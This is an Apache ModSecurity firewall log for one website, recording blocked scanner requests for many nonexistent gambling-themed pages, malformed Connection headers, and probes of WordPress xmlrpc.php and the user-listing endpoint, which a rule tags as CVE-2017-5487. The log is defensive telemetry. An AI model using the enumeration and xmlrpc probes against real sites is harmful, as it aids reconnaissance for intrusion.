[Sun Mar 22 13:08:28.699506 2026] [:error] [pid 40039:tid 40054] [client 54.37.252.130:57374] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ab95TB3aDgUJfBYishkfwQAAAQ0"]
[Sun Mar 22 13:08:31.058853 2026] [:error] [pid 51363:tid 51450] [client 54.37.252.130:57386] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ab95T1wa9x6OCTRkhl3cwgAAAJQ"]
[Sun Mar 22 13:09:14.898373 2026] [:error] [pid 40039:tid 40049] [client 54.37.252.130:57398] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ab95eh3aDgUJfBYishkgiwAAAQg"]
[Sun Mar 22 13:09:17.357278 2026] [:error] [pid 40039:tid 40046] [client 54.37.252.130:55972] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ab95fR3aDgUJfBYishkglAAAAQU"]
[Sun Mar 22 13:09:19.829626 2026] [:error] [pid 51363:tid 51433] [client 54.37.252.130:43422] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ab95f1wa9x6OCTRkhl3dGQAAAIU"]
[Sun Mar 22 13:09:22.159830 2026] [:error] [pid 51468:tid 51481] [client 54.37.252.130:43430] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ab95gk2TppSvA8W5CBRg2QAAAMU"]
[Sun Mar 22 13:09:24.469449 2026] [:error] [pid 40039:tid 40056] [client 54.37.252.130:43438] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ab95hB3aDgUJfBYishkgqAAAAQ8"]
[Sun Mar 22 13:09:26.938484 2026] [:error] [pid 51363:tid 51449] [client 54.37.252.130:43444] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ab95hlwa9x6OCTRkhl3dLwAAAJM"]
[Sun Mar 22 13:09:29.253180 2026] [:error] [pid 51361:tid 51378] [client 54.37.252.130:33306] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ab95iRXYUsdvKC9YWpWGNAAAAAc"]
[Sun Mar 22 13:09:31.742574 2026] [:error] [pid 51362:tid 51406] [client 54.37.252.130:33316] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ab95i8OwPm3DXzTDjUcctAAAAEU"]
[Sun Mar 22 13:09:34.061344 2026] [:error] [pid 51468:tid 51497] [client 54.37.252.130:33328] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ab95jk2TppSvA8W5CBRhEQAAANU"]
[Sun Mar 22 13:09:36.544624 2026] [:error] [pid 51468:tid 51489] [client 54.37.252.130:33344] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ab95kE2TppSvA8W5CBRhIAAAAM0"]
[Sun Mar 22 13:09:38.865715 2026] [:error] [pid 51361:tid 51392] [client 54.37.252.130:33828] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ab95khXYUsdvKC9YWpWGNwAAABQ"]
[Sun Mar 22 13:09:41.183926 2026] [:error] [pid 51362:tid 51420] [client 54.37.252.130:33844] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ab95lcOwPm3DXzTDjUccvQAAAFM"]
[Sun Mar 22 13:09:43.668312 2026] [:error] [pid 40039:tid 40064] [client 54.37.252.130:33856] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ab95lx3aDgUJfBYishkhFQAAARc"]
[Sun Mar 22 13:09:46.119395 2026] [:error] [pid 40039:tid 40043] [client 54.37.252.130:33872] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ab95mh3aDgUJfBYishkhIAAAAQI"]
[Sun Mar 22 13:09:48.485792 2026] [:error] [pid 51362:tid 51408] [client 54.37.252.130:48108] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ab95nMOwPm3DXzTDjUccxgAAAEc"]
[Sun Mar 22 13:09:50.786923 2026] [:error] [pid 51363:tid 51433] [client 54.37.252.130:48116] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ab95nlwa9x6OCTRkhl3ddAAAAIU"]
[Sun Mar 22 13:09:53.100871 2026] [:error] [pid 51362:tid 51407] [client 54.37.252.130:48120] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ab95ocOwPm3DXzTDjUcc0gAAAEY"]
[Sun Mar 22 13:09:55.588749 2026] [:error] [pid 51361:tid 51392] [client 54.37.252.130:48128] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ab95oxXYUsdvKC9YWpWGQQAAABQ"]
[Sun Mar 22 13:09:57.906977 2026] [:error] [pid 40039:tid 40051] [client 54.37.252.130:49106] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ab95pR3aDgUJfBYishkhSwAAAQo"]
[Sun Mar 22 13:10:00.230512 2026] [:error] [pid 40039:tid 40060] [client 54.37.252.130:49116] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ab95qB3aDgUJfBYishkhVQAAARM"]
[Sun Mar 22 13:10:02.708648 2026] [:error] [pid 51363:tid 51438] [client 54.37.252.130:49118] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ab95qlwa9x6OCTRkhl3dgAAAAIk"]
[Sun Mar 22 13:10:05.153659 2026] [:error] [pid 51362:tid 51422] [client 54.37.252.130:49120] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ab95rcOwPm3DXzTDjUcc2QAAAFU"]
[Sun Mar 22 13:10:07.660619 2026] [:error] [pid 51468:tid 51499] [client 54.37.252.130:49122] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ab95r02TppSvA8W5CBRhjwAAANc"]
[Sun Mar 22 13:10:10.124190 2026] [:error] [pid 51363:tid 51453] [client 54.37.252.130:42956] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "ab95slwa9x6OCTRkhl3djQAAAJc"]
[Sun Mar 22 13:10:54.659055 2026] [:error] [pid 51361:tid 51391] [client 54.37.252.130:42970] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ab953hXYUsdvKC9YWpWGiwAAABM"]
[Sun Mar 22 13:10:57.085711 2026] [:error] [pid 40039:tid 40059] [client 54.37.252.130:52504] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ab954R3aDgUJfBYishkhugAAARI"]
[Sun Mar 22 13:10:59.392669 2026] [:error] [pid 51363:tid 51431] [client 54.37.252.130:39992] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ab9541wa9x6OCTRkhl3d3wAAAIM"]
[Sun Mar 22 13:11:01.709758 2026] [:error] [pid 51468:tid 51490] [client 54.37.252.130:40008] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ab955U2TppSvA8W5CBRiAgAAAM4"]
[Sun Mar 22 13:11:04.008007 2026] [:error] [pid 51361:tid 51389] [client 54.37.252.130:40020] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ab956BXYUsdvKC9YWpWGlwAAABE"]
[Sun Mar 22 13:11:06.318526 2026] [:error] [pid 51363:tid 51447] [client 54.37.252.130:40034] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ab956lwa9x6OCTRkhl3d7gAAAJE"]
[Sun Mar 22 13:11:08.619343 2026] [:error] [pid 51468:tid 51490] [client 54.37.252.130:49564] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ab957E2TppSvA8W5CBRiDwAAAM4"]
[Sun Mar 22 13:11:11.101697 2026] [:error] [pid 40039:tid 40047] [client 54.37.252.130:49578] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ab957x3aDgUJfBYishkhygAAAQY"]
[Sun Mar 22 13:11:13.560014 2026] [:error] [pid 51363:tid 51441] [client 54.37.252.130:49582] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ab958Vwa9x6OCTRkhl3d-gAAAIw"]
[Sun Mar 22 13:11:16.007979 2026] [:error] [pid 51468:tid 51494] [client 54.37.252.130:49588] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ab959E2TppSvA8W5CBRiGwAAANI"]
[Sun Mar 22 13:11:18.503701 2026] [:error] [pid 40039:tid 40048] [client 54.37.252.130:37670] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ab959h3aDgUJfBYishkh2QAAAQc"]
[Sun Mar 22 13:12:24.743970 2026] [:error] [pid 51361:tid 51376] [client 150.109.46.88:52798] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab96OBXYUsdvKC9YWpWGzwAAAAU"]
[Sun Mar 22 17:19:30.701192 2026] [:error] [pid 51363:tid 51433] [client 62.84.185.63:53772] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ab-0Ilwa9x6OCTRkhl1WHAAAAIU"]
[Sun Mar 22 17:19:33.367907 2026] [:error] [pid 51362:tid 51415] [client 62.84.185.63:60088] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ab-0JcOwPm3DXzTDjUdiGgAAAE4"]
[Sun Mar 22 17:19:35.968821 2026] [:error] [pid 40039:tid 40041] [client 62.84.185.63:60092] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ab-0Jx3aDgUJfBYishmHdgAAAQA"]
[Sun Mar 22 17:19:38.454424 2026] [:error] [pid 51363:tid 51444] [client 62.84.185.63:60094] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ab-0Klwa9x6OCTRkhl1WRAAAAI8"]
[Sun Mar 22 17:19:40.968437 2026] [:error] [pid 51468:tid 51483] [client 62.84.185.63:60110] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ab-0LE2TppSvA8W5CBQQUwAAAMc"]
[Sun Mar 22 17:19:43.574167 2026] [:error] [pid 51361:tid 51376] [client 62.84.185.63:18188] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ab-0LxXYUsdvKC9YWpW9mAAAAAU"]
[Sun Mar 22 17:19:46.060100 2026] [:error] [pid 51468:tid 51494] [client 62.84.185.63:18198] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ab-0Mk2TppSvA8W5CBQQdgAAANI"]
[Sun Mar 22 17:19:48.717064 2026] [:error] [pid 51361:tid 51395] [client 62.84.185.63:18208] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ab-0NBXYUsdvKC9YWpW9nwAAABY"]
[Sun Mar 22 17:20:18.413880 2026] [:error] [pid 51363:tid 51451] [client 62.84.185.63:20406] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab-0Ulwa9x6OCTRkhl1WqAAAAJU"]
[Sun Mar 22 17:20:21.081249 2026] [:error] [pid 40039:tid 40052] [client 62.84.185.63:20414] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab-0VR3aDgUJfBYishmIcwAAAQs"]
[Sun Mar 22 17:20:23.701098 2026] [:error] [pid 51361:tid 51390] [client 62.84.185.63:39508] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ab-0VxXYUsdvKC9YWpW9xQAAABI"]
[Sun Mar 22 17:33:16.586694 2026] [:error] [pid 51363:tid 51449] [client 43.130.60.195:60092] [client 43.130.60.195] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab-3XFwa9x6OCTRkhl1ewwAAAJM"]
[Sun Mar 22 18:41:34.580012 2026] [:error] [pid 30166:tid 30176] [client 36.41.75.167:42105] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab_HXrm4_26jKMD0zy3GagAAAUU"]
[Sun Mar 22 19:28:18.977420 2026] [:error] [pid 40039:tid 40042] [client 136.118.160.214:60755] [client 136.118.160.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.160.214, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab_SUh3aDgUJfBYishmoBQAAAQE"]
[Sun Mar 22 19:28:21.723426 2026] [:error] [pid 40039:tid 40044] [client 136.118.160.214:60755] [client 136.118.160.214] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "ab_SVR3aDgUJfBYishmoCwAAAQM"]
[Sun Mar 22 19:28:24.097124 2026] [:error] [pid 40039:tid 40049] [client 136.118.160.214:60755] [client 136.118.160.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.118.160.214, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab_SWB3aDgUJfBYishmoDgAAAQg"]
